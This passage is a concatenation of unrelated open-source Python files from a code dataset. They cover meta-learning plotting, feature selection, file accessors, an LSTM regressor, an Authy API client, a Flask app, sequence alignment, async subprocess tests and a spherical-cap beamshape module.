'--r', linewidth=2)\n plt.plot(post_points[:,0], post_points[:,1], '--b', linewidth=1)\n\n pre_points = preupdate_paths[ind][2]['observations']\n post_points = postupdate_paths[ind][2]['observations']\n plt.plot(pre_points[:,0], pre_points[:,1], '-.r', linewidth=2)\n plt.plot(post_points[:,0], post_points[:,1], '-.b', linewidth=1)\n\n plt.plot(0,0, 'k.', markersize=5)\n plt.xlim([-0.8, 0.8])\n plt.ylim([-0.8, 0.8])\n plt.legend(['goal', 'preupdate path', 'postupdate path'])\n plt.savefig(osp.join(logger.get_snapshot_dir(), 'prepost_path' + str(ind) + '_' + str(itr) + '.png'))\n print(osp.join(logger.get_snapshot_dir(), 'prepost_path' + str(ind) + '_' + str(itr) + '.png'))\n elif True and itr in PLOT_ITRS and self.env.observation_space.shape[0] == 8: # 2D reacher\n logger.log(\"Saving visualization of paths\")\n\n # def fingertip(env):\n # while 'get_body_com' not in dir(env):\n # env = env.wrapped_env\n # return env.get_body_com('fingertip')\n\n for ind in range(min(5, self.meta_batch_size)):\n plt.clf()\n print(\"debug13,\",itr,ind)\n a = self.goals_to_use_dict[itr][ind]\n plt.plot(self.goals_to_use_dict[itr][ind][0], self.goals_to_use_dict[itr][ind][1], 'k*', markersize=10)\n plt.hold(True)\n\n preupdate_paths = all_paths_for_plotting[0]\n postupdate_paths = all_paths_for_plotting[-1]\n\n pre_points = np.array([obs[6:8] for obs in preupdate_paths[ind][0]['observations']])\n post_points = np.array([obs[6:8] for obs in postupdate_paths[ind][0]['observations']])\n plt.plot(pre_points[:,0], pre_points[:,1], '-r', linewidth=2)\n plt.plot(post_points[:,0], post_points[:,1], '-b', linewidth=1)\n\n pre_points = np.array([obs[6:8] for obs in preupdate_paths[ind][1]['observations']])\n post_points = np.array([obs[6:8] for obs in postupdate_paths[ind][1]['observations']])\n plt.plot(pre_points[:,0], pre_points[:,1], '--r', linewidth=2)\n plt.plot(post_points[:,0], post_points[:,1], '--b', linewidth=1)\n\n pre_points = np.array([obs[6:8] for obs in preupdate_paths[ind][2]['observations']])\n post_points = np.array([obs[6:8] for obs in postupdate_paths[ind][2]['observations']])\n plt.plot(pre_points[:,0], pre_points[:,1], '-.r', linewidth=2)\n plt.plot(post_points[:,0], post_points[:,1], '-.b', linewidth=1)\n\n plt.plot(0,0, 'k.', markersize=5)\n plt.xlim([-0.25, 0.25])\n plt.ylim([-0.25, 0.25])\n plt.legend(['goal', 'preupdate path', 'postupdate path'])\n plt.savefig(osp.join(logger.get_snapshot_dir(), 'prepost_path' + str(ind) + '_' + str(itr) + '.png'))\n print(osp.join(logger.get_snapshot_dir(), 'prepost_path' + str(ind) + '_' + str(itr) + '.png'))\n\n if self.make_video and itr in VIDEO_ITRS:\n logger.log(\"Saving videos...\")\n self.env.reset(reset_args=self.goals_to_use_dict[itr][ind])\n video_filename = osp.join(logger.get_snapshot_dir(), 'post_path_%s_%s.gif' % (ind, itr))\n rollout(env=self.env, agent=self.policy, max_path_length=self.max_path_length,\n animated=True, speedup=2, save_video=True, video_filename=video_filename,\n reset_arg=self.goals_to_use_dict[itr][ind],\n use_maml=True, maml_task_index=ind,\n maml_num_tasks=self.meta_batch_size)\n elif self.make_video and itr in VIDEO_ITRS:\n for ind in range(min(2, self.meta_batch_size)):\n logger.log(\"Saving videos...\")\n self.env.reset(reset_args=self.goals_to_use_dict[itr][ind])\n video_filename = osp.join(logger.get_snapshot_dir(), 'post_path_%s_%s.gif' % (ind, itr))\n rollout(env=self.env, agent=self.policy, max_path_length=self.max_path_length,\n animated=True, speedup=2, save_video=True, video_filename=video_filename,\n reset_arg=self.goals_to_use_dict[itr][ind],\n use_maml=True, maml_task_index=ind,\n maml_num_tasks=self.meta_batch_size, extra_input_dim=self.extra_input_dim)\n self.policy.switch_to_init_dist()\n for ind in range(min(2, self.meta_batch_size)):\n logger.log(\"Saving videos...\")\n self.env.reset(reset_args=self.goals_to_use_dict[itr][ind])\n video_filename = osp.join(logger.get_snapshot_dir(), 'pre_path_%s_%s.gif' % (ind, itr))\n rollout(env=self.env, agent=self.policy, max_path_length=self.max_path_length,\n animated=True, speedup=2, save_video=True, video_filename=video_filename,\n reset_arg=self.goals_to_use_dict[itr][ind],\n use_maml=False,\n extra_input_dim = self.extra_input_dim,\n # maml_task_index=ind,\n # maml_num_tasks=self.meta_batch_size\n )\n elif False and itr in PLOT_ITRS: # swimmer or cheetah\n logger.log(\"Saving visualization of paths\")\n for ind in range(min(5, self.meta_batch_size)):\n plt.clf()\n goal_vel = self.goals_to_use_dict[itr][ind]\n plt.title('Swimmer paths, goal vel='+str(goal_vel))\n plt.hold(True)\n\n prepathobs = all_paths_for_plotting[0][ind][0]['observations']\n postpathobs = all_paths_for_plotting[-1][ind][0]['observations']\n plt.plot(prepathobs[:,0], prepathobs[:,1], '-r', linewidth=2)\n plt.plot(postpathobs[:,0], postpathobs[:,1], '--b', linewidth=1)\n plt.plot(prepathobs[-1,0], prepathobs[-1,1], 'r*', markersize=10)\n plt.plot(postpathobs[-1,0], postpathobs[-1,1], 'b*', markersize=10)\n plt.xlim([-1.0, 5.0])\n plt.ylim([-1.0, 1.0])\n\n plt.legend(['preupdate path', 'postupdate path'], loc=2)\n plt.savefig(osp.join(logger.get_snapshot_dir(), 'swim1d_prepost_itr' + str(itr) + '_id' + str(ind) + '.pdf'))\n\n def _setup_goals(self, goals_pool_to_load, goals_pickle_to):\n if goals_pool_to_load is not None:\n # load goals\n logger.log(\"Loading goals pool from %s ...\" % goals_pool_to_load)\n self.goals_pool = joblib.load(goals_pool_to_load)['goals_pool']\n self.goals_idxs_for_itr_dict = joblib.load(goals_pool_to_load)['idxs_dict']\n else:\n # build goals pool and idxs_dict\n goals_pool_size = (self.n_itr-self.start_itr)*self.meta_batch_size\n logger.log(\"Sampling a pool of tasks/goals for this meta-batch...\")\n env = self.env\n while 'sample_goals' not in dir(env):\n env = env.wrapped_env\n self.goals_pool = env.sample_goals(goals_pool_size)\n self.goals_idxs_for_itr_dict = {}\n for itr in range(self.start_itr, self.n_itr):\n self.goals_idxs_for_itr_dict[itr] = rd.sample(range(goals_pool_size), self.meta_batch_size)\n\n # save goals pool\n if goals_pickle_to is not None:\n # logger.log(\"Saving goals to %s...\" % goals_pickle_to)\n # joblib_dump_safe(self.goals_to_use_dict, goals_pickle_to)\n logger.log(\"Saving goals pool to %s...\" % goals_pickle_to)\n joblib_dump_safe(dict(goals_pool=self.goals_pool, idxs_dict=self.goals_idxs_for_itr_dict), goals_pickle_to)\n\n # inspect goals pool\n env = self.env\n while 'sample_goals' not in dir(env):\n env = env.wrapped_env\n reset_dimensions = env.sample_goals(1).shape[1:]\n dimensions = np.shape(self.goals_pool[self.goals_idxs_for_itr_dict[0][0]])\n assert reset_dimensions == dimensions, \"loaded dimensions are %s, do not match with environment's %s\" % (\n dimensions, reset_dimensions)\n\n # inspect goals_idxs_for_itr_dict\n assert set(range(self.start_itr, self.n_itr)).issubset(set(self.goals_idxs_for_itr_dict.keys())), \\\n \"Not all meta-iteration numbers have idx_dict in %s\" % goals_pool_to_load\n for itr in range(self.start_itr, self.n_itr):\n num_goals = len(self.goals_idxs_for_itr_dict[itr])\n assert num_goals >= self.meta_batch_size, \"iteration %s contained %s goals when at least %s are needed\" % (itr, num_goals, self.meta_batch_size)\n self.goals_idxs_for_itr_dict[itr] = self.goals_idxs_for_itr_dict[itr][:self.meta_batch_size]\n\n # build goals_to_use_dict\n self.goals_to_use_dict = {}\n for itr in range(self.start_itr, self.n_itr):\n if itr not in self.testing_itrs or self.test_on_training_goals:\n self.goals_to_use_dict[itr] = np.array([self.goals_pool[idx] for idx in self.goals_idxs_for_itr_dict[itr]])\n\ndef store_agent_infos(paths):\n tasknums = paths.keys()\n for t in tasknums:\n for path in paths[t]:\n path['agent_infos_orig'] = deepcopy(path['agent_infos'])\n return paths\n\n", "source": "RussellM2020/maml_gps", "license": "MIT"} {"text": "from logging import getLogger\n\nimport numpy as np\nfrom sklearn.model_selection import cross_val_score\n\nfrom ...utils import generate_features, BaseWrapper\n\n\nclass RecursiveElimination(BaseWrapper):\n \"\"\"Recursive feature elimination algorithm.\n\n Parameters\n ----------\n estimator : object\n A supervised learning estimator that should have a fit(X, y) method, a\n predict(X) method and a field corresponding to feature weights.\n n_features : int\n Number of features to leave.\n measure : string or callable\n A standard estimator metric (e.g. 'f1' or 'roc_auc') or a callable with\n signature measure(estimator, X, y) which should return only a single\n value.\n weight_func : callable\n A function to extract weights from the model.\n cv : int\n Number of folds in cross-validation.\n \n See Also\n --------\n Guyon, I., Weston, J., Barnhill, S., & Vapnik, V., \u201cGene selection for\n cancer classification using support vector machines\u201d, Mach. Learn.,\n 46(1-3), 389\u2013422, 2002.\n https://link.springer.com/article/10.1023/A:1012487302797\n\n Examples\n --------\n >>> from sklearn.datasets import make_classification\n >>> from ITMO_FS.wrappers import RecursiveElimination\n >>> from sklearn.svm import SVC\n >>> import numpy as np\n >>> dataset = make_classification(n_samples=100, n_features=20,\n ... n_informative=4, n_redundant=0, shuffle=False, random_state=42)\n >>> x, y = np.array(dataset[0]), np.array(dataset[1])\n >>> model = SVC(kernel='linear')\n >>> rfe = RecursiveElimination(model, 5, measure='f1_macro',\n ... weight_func=lambda model: np.square(model.coef_).sum(axis=0)).fit(x, y)\n >>> rfe.selected_features_\n array([ 0, 1, 2, 11, 19], dtype=int64)\n \"\"\"\n def __init__(self, estimator, n_features, measure, weight_func, cv=3):\n self.estimator = estimator\n self.n_features = n_features\n self.measure = measure\n self.weight_func = weight_func\n self.cv = cv\n\n def _fit(self, X, y):\n \"\"\"Fit the wrapper.\n\n Parameters\n ----------\n X : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n the target values.\n\n Returns\n -------\n None\n \"\"\"\n self.selected_features_ = generate_features(X)\n\n while self.selected_features_.shape[0] != self.n_features:\n getLogger(__name__).info(\n \"Current selected set: %s\", self.selected_features_)\n self._estimator.fit(X[:, self.selected_features_], y)\n weights = self.weight_func(self._estimator)\n getLogger(__name__).info(\n \"Weights for all selected features: %s\", weights)\n least_important = np.argmin(weights)\n getLogger(__name__).info(\n \"Deleting the least important feature %d\",\n self.selected_features_[least_important])\n self.selected_features_ = np.delete(self.selected_features_,\n least_important)\n\n self.best_score_ = cross_val_score(self._estimator,\n X[:, self.selected_features_], y, cv=self.cv,\n scoring=self.measure).mean()\n self._estimator.fit(X[:, self.selected_features_], y)\n", "source": "educauchy/ITMO_FS", "license": "BSD-3-Clause"} {"text": "from __future__ import annotations\n\nimport os\nfrom abc import ABC\nfrom typing import Any, Callable, Dict, List, Union, TYPE_CHECKING, Optional\n\nfrom subtypes import Str\n\nif TYPE_CHECKING:\n from .dir import Dir\n from .file import File\n\n\nclass Accessor(ABC):\n \"\"\"Utility class for managing item access to the underlying files and dirs held by Dir objects.\"\"\"\n\n def __init__(self, parent: Dir) -> None:\n self.parent = parent\n self._access = self._sync = None # type: Optional[Callable]\n self._collection: Optional[dict] = None\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}(num_items={len(self)}, items={list(self._collection)})\"\n\n def __call__(self, full_path: bool = False) -> list[str]:\n self._sync()\n return [filename if not full_path else os.path.join(self.parent, filename) for filename in self._collection]\n\n def __len__(self) -> int:\n self._sync()\n return len(self._collection)\n\n def __iter__(self) -> Any:\n return (self[name] for name in self())\n\n def __contains__(self, other: os.PathLike) -> bool:\n with self.parent:\n return os.path.abspath(other) in self(full_path=True)\n\n def __getitem__(self, key: str) -> Union[File, Dir]:\n return self._access(key)\n\n def __delitem__(self, key: str) -> None:\n self[key].delete()\n\n\nclass FileAccessor(Accessor):\n \"\"\"Utility class for managing item access to the underlying files held by Dir objects.\"\"\"\n\n def __init__(self, parent: Dir):\n super().__init__(parent=parent)\n self._sync, self._access, self._collection = self.parent._synchronize_files, self.parent._access_files, self.parent._files\n\n def __getitem__(self, key: str) -> File:\n return self._access(key)\n\n\nclass DirAccessor(Accessor):\n \"\"\"Utility class for managing item access to the underlying dirs held by Dir objects.\"\"\"\n\n def __init__(self, parent: Dir):\n super().__init__(parent=parent)\n self._sync, self._access, self._collection = self.parent._synchronize_dirs, self.parent._access_dirs, self.parent._dirs\n\n def __getitem__(self, key: str) -> Dir:\n return self._access(key)\n\n\nclass DotAccessor:\n \"\"\"Utility class for managing item access to the underlying files and dirs held by Dir objects using attribute access.\"\"\"\n _strip_extension: bool = None\n\n def __init__(self, accessor: Accessor) -> None:\n self._accessor = accessor\n self._mappings: dict[str, list[str]] = {}\n self._pending: list[str] = []\n\n def __getattribute__(self, name: str) -> Any:\n val = object.__getattribute__(self, name)\n if isinstance(val, Name):\n return object.__getattribute__(self, \"_accessor\")[val.name]\n else:\n return val\n\n def __getattr__(self, name: str) -> Any:\n if name.startswith(\"__\"):\n raise AttributeError(name)\n else:\n names = self._mappings.get(name)\n if names is None:\n self._accessor._sync()\n if self._accessor.parent.settings.lazy:\n self.__acquire_references_as_attributes()\n names = self._mappings.get(name)\n\n if names is None:\n return self._accessor[name]\n else:\n if len(names) > 1:\n raise AmbiguityError(f\"\"\"'{name}' does not resolve uniquely. Could refer to any of: {\", \".join([f\"'{fullname}'\" for fullname in names])}.\"\"\")\n else:\n return self._accessor[names[0]]\n\n def _acquire(self, names: list[str]) -> None:\n self._pending = names\n if not self._accessor.parent.settings.lazy:\n self.__acquire_references_as_attributes()\n\n def __acquire_references_as_attributes(self) -> None:\n self._mappings.clear()\n for name in self._pending:\n clean = str((Str(name).slice.before_first(r\"\\.\") if type(self)._strip_extension else Str(name)).case.identifier())\n self._mappings.setdefault(clean, []).append(name)\n\n self._pending.clear()\n\n for clean, names in self._mappings.items():\n if len(names) == 1:\n setattr(self, clean, Name(name=names[0]))\n\n\nclass FileDotAccessor(DotAccessor):\n \"\"\"Utility class for managing item access to the underlying files held by Dir objects using attribute access.\"\"\"\n _strip_extension = True\n\n def __getattr__(self, attr: str) -> File:\n return super().__getattr__(attr)\n\n\nclass DirDotAccessor(DotAccessor):\n \"\"\"Utility class for managing item access to the underlying dirs held by Dir objects using attribute access.\"\"\"\n _strip_extension = False\n\n def __getattr__(self, attr: str) -> Dir:\n return super().__getattr__(attr)\n\n\nclass AmbiguityError(RuntimeError):\n pass\n\n\nclass Name:\n def __init__(self, name: str) -> None:\n self.name = name\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}('{self.name}')\"\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "__author__ = \"Withington\"\n\nfrom tensorflow import keras\n\nfrom sktime_dl.regression._regressor import BaseDeepRegressor\nfrom sktime_dl.networks._lstm import LSTMNetwork\nfrom sktime_dl.utils import check_and_clean_data, \\\n check_and_clean_validation_data\n\n\nclass LSTMRegressor(BaseDeepRegressor, LSTMNetwork):\n \"\"\" Long Short-Term Memory (LSTM)\n\n Adapted from the implementation of Brownlee, J. (2018)\n\n https://machinelearningmastery.com/how-to-develop-lstm-models-for-time-series-forecasting/\n \"\"\"\n\n def __init__(\n self,\n nb_epochs=200,\n batch_size=16,\n units=[50, 50],\n random_state=0,\n verbose=False,\n model_name=\"lstm_regressor\",\n model_save_directory=None\n ):\n \"\"\"\n :param nb_epochs: int, the number of epochs to train the model\n :param batch_size: int, the number of samples per gradient update.\n :param units: int, array of size 2, the number units in each LSTM layer\n :param random_state: int, seed to any needed random actions\n \"\"\"\n super(LSTMRegressor, self).__init__(\n model_save_directory=model_save_directory,\n model_name=model_name\n )\n self.nb_epochs = nb_epochs\n self.batch_size = batch_size\n self.units = units\n self.random_state = random_state\n self.verbose = verbose\n\n self._is_fitted = False\n\n def build_model(self, input_shape, **kwargs):\n \"\"\"\n Construct a compiled, un-trained, keras model\n ----------\n input_shape : tuple\n The shape of the data fed into the input layer\n Returns\n -------\n output : a compiled Keras Model\n \"\"\"\n input_layer, output_layer = self.build_network(input_shape, **kwargs)\n output_layer = keras.layers.Dense(units=1)(output_layer)\n model = keras.models.Model(inputs=input_layer, outputs=output_layer)\n\n model.compile(\n loss='mean_squared_error',\n optimizer=keras.optimizers.Adam(),\n metrics=['mean_squared_error'])\n return model\n\n def fit(self, X, y, input_checks=True, validation_X=None,\n validation_y=None, **kwargs):\n \"\"\"\n Fit the regressor on the training set (X, y)\n ----------\n X : a nested pd.Dataframe, or (if input_checks=False) array-like of\n shape = (n_instances, series_length, n_dimensions)\n The training input samples. If a 2D array-like is passed,\n n_dimensions is assumed to be 1.\n y : array-like, shape = [n_instances]\n The training data class labels.\n input_checks : boolean\n whether to check the X and y parameters\n validation_X : a nested pd.Dataframe, or array-like of shape =\n (n_instances, series_length, n_dimensions)\n The validation samples. If a 2D array-like is passed,\n n_dimensions is assumed to be 1.\n Unless strictly defined by the user via callbacks (such as\n EarlyStopping), the presence or state of the validation\n data does not alter training in any way. Predictions at each epoch\n are stored in the model's fit history.\n validation_y : array-like, shape = [n_instances]\n The validation class labels.\n Returns\n -------\n self : object\n \"\"\"\n X = check_and_clean_data(X, y, input_checks=input_checks)\n\n validation_data = \\\n check_and_clean_validation_data(validation_X, validation_y)\n\n self.input_shape = X.shape[1:]\n\n self.model = self.build_model(self.input_shape)\n\n if self.verbose:\n self.model.summary()\n\n self.history = self.model.fit(\n X,\n y,\n batch_size=self.batch_size,\n epochs=self.nb_epochs,\n verbose=self.verbose,\n validation_data=validation_data,\n )\n\n self.save_trained_model()\n self._is_fitted = True\n\n return self\n", "source": "Gjacquenot/sktime-dl", "license": "BSD-3-Clause"} {"text": "\"\"\"Requires AUTHY API KEY\"\"\"\nimport time\nfrom botocore.vendored import requests\n\nclass Authy:\n \"\"\"Authy management class\"\"\"\n def __init__(self, **kwargs):\n \"\"\"Initiates the Authy parameters\"\"\"\n authy_api_key = kwargs['AUTHY_API_KEY']\n self.headers = {\n 'X-Authy-API-Key': authy_api_key,\n 'Cache-Control': 'no-cache',\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n\n def create_user(self, email, number, country_code='+55', use_push=False):\n \"\"\"Creates an Authy user\"\"\"\n url = 'https://api.authy.com/protected/json/users/new'\n\n payload = (\n 'user%5Bemail%5D={}'\n '&user%5Bcellphone%5D={}'\n '&user%5Bcountry_code%5D={}'\n '&send_install_link_via_sms={}').format(\n email, number, country_code, use_push\n )\n\n response = requests.post(url, data=payload, headers=self.headers)\n\n return response.json()\n\n def get_qr_code(self, email, user_id):\n \"\"\"Generate a QR Code with the OTP code for the User\"\"\"\n url = 'https://api.authy.com/protected/json/users/{}/secret'.format(user_id)\n payload = 'label=Observer ({})'.format(email)\n\n response = requests.post(url, data=payload, headers=self.headers)\n\n return response.json()\n\n def push_request(self, user_id):\n \"\"\"Initiates an Authy OneTouch request for this user\"\"\"\n url = 'https://api.authy.com/onetouch/json/users/{}/approval_requests'.format(user_id)\n payload = 'message=Credentials requested for a Observer account&seconds_to_expire=30'\n\n response = requests.post(url, data=payload, headers=self.headers)\n\n return response.json()\n\n def verify_push_request(self, uuid):\n \"\"\"Verify token validation (using OneTouch)\"\"\"\n url = 'https://api.authy.com/onetouch/json/approval_requests/{}'.format(uuid)\n\n while True:\n response = requests.get(url, headers=self.headers)\n status = response.json()['approval_request']['status']\n if status != 'pending':\n return response.json()\n\n time.sleep(1)\n\n return None\n\n def verify_token_request(self, token, user_id):\n \"\"\"Verify token validation (not using OneTouch)\"\"\"\n url = 'https://api.authy.com/protected/json/verify/{}/{}'.format(token, user_id)\n\n response = requests.get(url, headers=self.headers)\n\n return response.json()\n", "source": "rafaelszt/kerberos", "license": "MIT"} {"text": "from flask import Flask, send_from_directory, render_template\nimport os\nimport socket\n\napp = Flask(__name__)\nhostname = socket.gethostname()\n\nif \"DEBUG\" in os.environ:\n app.debug = True\n\n@app.errorhandler(500)\ndef error(e):\n return render_template('error.html', hostname=hostname, error=e), 500\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\", hostname=hostname)\n\n@app.route(\"/assets/\")\ndef assets(path):\n return send_from_directory(\"assets\", path)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\")\n", "source": "bchav/docker-flask", "license": "Apache-2.0"} {"text": "from Bio import pairwise2\r\nimport multiprocessing as mp\r\nimport numpy as np\r\nfrom time import time\r\n\r\n\r\n# Computes distance matrix from sequences in parallel\r\n# If cpus is not provided, will try to use all available\r\ndef compute(filename, procs=None, verbose=False):\r\n if procs is None:\r\n procs = mp.cpu_count()\r\n\r\n with open(filename, \"r\") as file:\r\n sequences = list(filter(lambda seq: not seq.startswith(\">\"), file.read().splitlines()))\r\n\r\n with mp.Pool(procs) as pool:\r\n # Pair up each sequence with each other sequence for pairwise alignment\r\n sequences_pairs = []\r\n\r\n for i in range(len(sequences)):\r\n for j in range(i + 1, len(sequences)):\r\n sequences_pairs.append((sequences[i], sequences[j]))\r\n\r\n # Calls pairwise alignment in parallel for each pair of sequences\r\n start = time()\r\n scores = [pool.apply_async(alignment_score, args=(pair,)) for pair in sequences_pairs]\r\n scores = [score.get() for score in scores]\r\n end = time()\r\n\r\n dist_matrix = np.zeros((len(sequences), len(sequences)))\r\n scores_iter = iter(scores)\r\n for i in range(len(sequences)):\r\n # Set dist of A->A to infinity\r\n dist_matrix[i][i] = np.inf\r\n for j in range(i + 1, len(sequences)):\r\n dist_matrix[i][j] = max(len(sequences[i]), len(sequences[j])) - next(scores_iter)\r\n # Dist of A to B is same as dist of B to A\r\n dist_matrix[j][i] = dist_matrix[i][j]\r\n\r\n if verbose:\r\n print(dist_matrix)\r\n print(\"Scores:\", scores)\r\n print(\"Time:\", end - start, \"seconds\")\r\n\r\n return dist_matrix\r\n\r\n\r\ndef alignment_score(sequence_pair):\r\n return pairwise2.align.globalxx(*sequence_pair, score_only=True)\r\n\r\n\r\n", "source": "TylerWasniowski/phylogenetic-tree", "license": "MIT"} {"text": "\nfrom unittest.mock import AsyncMock, MagicMock\n\nimport pytest\n\nimport aio.core.subprocess\n\n\nasync def test_subprocess_parallel(patches):\n patched = patches(\n \"asyncio\",\n \"ProcessPoolExecutor\",\n (\"AsyncSubprocess.run\", dict(new_callable=MagicMock)),\n prefix=\"aio.core.subprocess.async_subprocess\")\n procs = [f\"PROC{i}\" for i in range(0, 3)]\n kwargs = {f\"KEY{i}\": f\"VALUE{i}\" for i in range(0, 3)}\n\n async def async_result(result):\n return result\n\n with patched as (m_asyncio, m_future, m_run):\n returned = [f\"RESULT{i}\" for i in range(0, 5)]\n m_asyncio.as_completed.return_value = [\n async_result(result) for result in returned]\n\n results = []\n iterator = aio.core.subprocess.AsyncSubprocess.parallel(\n procs, **kwargs)\n async for result in iterator:\n results.append(result)\n\n assert results == returned\n assert (\n m_future.call_args\n == [(), {}])\n assert (\n m_asyncio.as_completed.call_args\n == [(tuple(\n m_asyncio.ensure_future.return_value\n for i in range(0, len(procs))), ), {}])\n kwargs[\"executor\"] = m_future.return_value.__enter__.return_value\n assert (\n m_run.call_args_list\n == [[(proc,), kwargs] for proc in procs])\n assert (\n m_asyncio.ensure_future.call_args_list\n == [[(m_run.return_value,), {}] for proc in procs])\n\n\n@pytest.mark.parametrize(\"loop\", [True, False])\n@pytest.mark.parametrize(\"executor\", [None, \"EXECUTOR\"])\nasync def test_subprocess_run(patches, loop, executor):\n patched = patches(\n \"asyncio\",\n \"partial\",\n \"subprocess\",\n prefix=\"aio.core.subprocess.async_subprocess\")\n args = [f\"ARG{i}\" for i in range(0, 3)]\n kwargs = {f\"KEY{i}\": f\"VALUE{i}\" for i in range(0, 3)}\n\n if loop:\n kwargs[\"loop\"] = AsyncMock()\n\n if executor:\n kwargs[\"executor\"] = executor\n\n with patched as (m_asyncio, m_partial, m_subproc):\n m_asyncio.get_running_loop.return_value = AsyncMock()\n if loop:\n m_loop = kwargs[\"loop\"]\n else:\n m_loop = m_asyncio.get_running_loop.return_value\n\n assert (\n await aio.core.subprocess.run(*args, **kwargs)\n == m_loop.run_in_executor.return_value)\n\n if loop:\n assert not m_asyncio.get_running_loop.called\n\n kwargs.pop(\"executor\", None)\n kwargs.pop(\"loop\", None)\n\n assert (\n m_partial.call_args\n == [(m_subproc.run, ) + tuple(args), kwargs])\n assert (\n m_loop.run_in_executor.call_args\n == [(executor, m_partial.return_value), {}])\n\n\n@pytest.mark.parametrize(\n \"args\", [[], [f\"A{i}\" for i in range(0, 3)]])\n@pytest.mark.parametrize(\n \"kwargs\", [{}, {f\"K{i}\": f\"V{i}\" for i in range(0, 3)}])\n@pytest.mark.parametrize(\"collector\", [None, False, \"COLLECTOR\"])\n@pytest.mark.parametrize(\"iterator\", [None, False, \"ITERATOR\"])\n@pytest.mark.parametrize(\"predicate\", [None, False, \"PREDICATE\"])\n@pytest.mark.parametrize(\"result\", [None, False, \"RESULT\"])\nasync def test_parallel(\n patches, args, kwargs, collector, iterator, predicate, result):\n patched = patches(\n \"functional\",\n \"AsyncSubprocess.parallel\",\n prefix=\"aio.core.subprocess.async_subprocess\")\n if collector is not None:\n kwargs[\"collector\"] = collector\n if iterator is not None:\n kwargs[\"iterator\"] = iterator\n if predicate is not None:\n kwargs[\"predicate\"] = predicate\n if result is not None:\n kwargs[\"result\"] = result\n\n with patched as (m_functional, m_parallel):\n assert (\n aio.core.subprocess.parallel(*args, **kwargs)\n == m_functional.AwaitableGenerator.return_value)\n\n for k in [\"collector\", \"iterator\", \"predicate\", \"result\"]:\n kwargs.pop(k, None)\n\n assert (\n m_functional.AwaitableGenerator.call_args\n == [(m_parallel.return_value, ),\n dict(collector=collector,\n iterator=iterator,\n predicate=predicate,\n result=result)])\n assert (\n m_parallel.call_args\n == [tuple(args), kwargs])\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nRectangular cap of a sphere\n===========================\n\n:math:`\\alpha, \\beta` are the half-angles defining the width/height of the \nrectangular cap.\n\n:math:`R` is the radius of the sphere. \n\nNotes\n~~~~~\nThis implementation uses inbuilt integration functions to calculate :math:`I_{0n}`\n, in contrast to the original implementation which uses a custom numerical \nintegration implementation. \n\"\"\"\n\nimport copy\nfrom joblib import Parallel, delayed\nimport numpy as np\nimport mpmath\nfrom sympy import symbols, I, cos, sin, legendre\nfrom sympy import lambdify, atan, tan, sec, sqrt, pi, factorial\nfrom sympy import IndexedBase, Sum, Integral, assoc_legendre\nimport tqdm\nimport warnings\nfrom beamshapes.special_functions import sph_hankel2, legendre_mvz\nfrom beamshapes.utilities import args_to_mpmath, args_to_str\n\nm, n, NN, z, k, R, alpha, beta, theta = symbols('m n NN z k R alpha beta theta')\nphi = symbols('phi')\n\n\n\nkR = k*R\n\ndef calc_N(params):\n '''\n Decides the number of terms to run calculations for. \n \n Keyword Arguments\n -----------------\n trend : \n \n Returns \n -------\n num_N : int\n \n '''\n num_N = params.get('trend', int(12+2*params['k']*params['R']))\n return num_N\n#%%\nsecsq_alpha = sec(alpha)**2\nsecsq_beta = secsq_alpha.subs(alpha, beta) \ns_pt1 = (atan(tan(alpha)*tan(beta))/ (secsq_alpha + sqrt(secsq_alpha + tan(beta)**2 )) )\ns_pt2 = (atan(tan(alpha)*tan(beta))/ (secsq_beta + sqrt(secsq_beta + tan(alpha)**2)) )\n\nS = (4*R**2)*(s_pt1+s_pt2)\n\nsval = lambdify([alpha, beta, R], S,'mpmath')\n\n#%%\n# First implement the on-axis response. \n\nsubsdict = {'n':1,'alpha':pi/2.5,'beta':pi/2.5, 'k':10, 'R':0.1}\n\n\nion_pt1_1 = (tan(alpha)/(sqrt(cos(phi)**2+tan(alpha)**2)))\nion_pt1_asocleg_term = cos(phi)/(sqrt(cos(phi)**2+tan(alpha)**2))\nion_pt1_2 = assoc_legendre(n,-1,ion_pt1_asocleg_term)\nion_integral_limit1 = atan(tan(beta)/tan(alpha))\nion_pt1 = Integral(ion_pt1_1*ion_pt1_2, (phi,0,ion_integral_limit1))\nIon_pt1 = lambdify([n,alpha,beta], ion_pt1,'sympy')\n\n\nsqrt_num_pt2 = sqrt(sin(phi)**2+tan(beta)**2)\nion_pt2_1 = tan(beta)/sqrt_num_pt2\nion_pt2_assocleg_term = sin(phi)/sqrt_num_pt2\nion_pt2_2 = assoc_legendre(n,-1,ion_pt2_assocleg_term)\nion2_integral_limit = (pi/2-atan(tan(alpha)/tan(beta)), pi/2+atan(tan(alpha)/tan(beta)))\nion_pt2 = Integral(ion_pt2_1*ion_pt2_2,\n (phi,ion2_integral_limit[0],ion2_integral_limit[1]))\nIon_pt2 = lambdify([n,alpha,beta], ion_pt2,'sympy')\n# print(Ion_pt2(subsdict['n'],subsdict['alpha'],subsdict['beta']).evalf())\n\nsqrt_num_pt3 = sqrt(cos(phi)**2+tan(alpha)**2)\nion_pt3_1 = tan(alpha)/sqrt_num_pt3\nion_pt3_assocleg_term = -cos(phi)/sqrt_num_pt3\nion_pt3_2 = assoc_legendre(n,-1,ion_pt3_assocleg_term)\nion3_integral_limit = (pi-atan(tan(beta)/tan(alpha)), pi)\nion_pt3 = Integral(ion_pt3_1*ion_pt3_2, \n (phi,ion3_integral_limit[0],ion3_integral_limit[1]))\n\nIon_pt3 = lambdify([n,alpha,beta], ion_pt3,'sympy')\n# print(Ion_pt3(subsdict['n'],subsdict['alpha'],subsdict['beta']).evalf())\n\n#%%\n\nIon = ion_pt1 + ion_pt1 + ion_pt3\nIon_func = lambdify([n, alpha, beta], Ion, 'sympy')\nprint(Ion_func(subsdict['n'],subsdict['alpha'],subsdict['beta']).evalf())\n\n\n#%%\n# The on-axis coefficients\nmval = 0\nAon_num = ((2*n+1)**2)*factorial(n-2*mval)*Ion\nAon_denom_hankels = n*sph_hankel2.subs({'n':n-1,'z':kR}) - 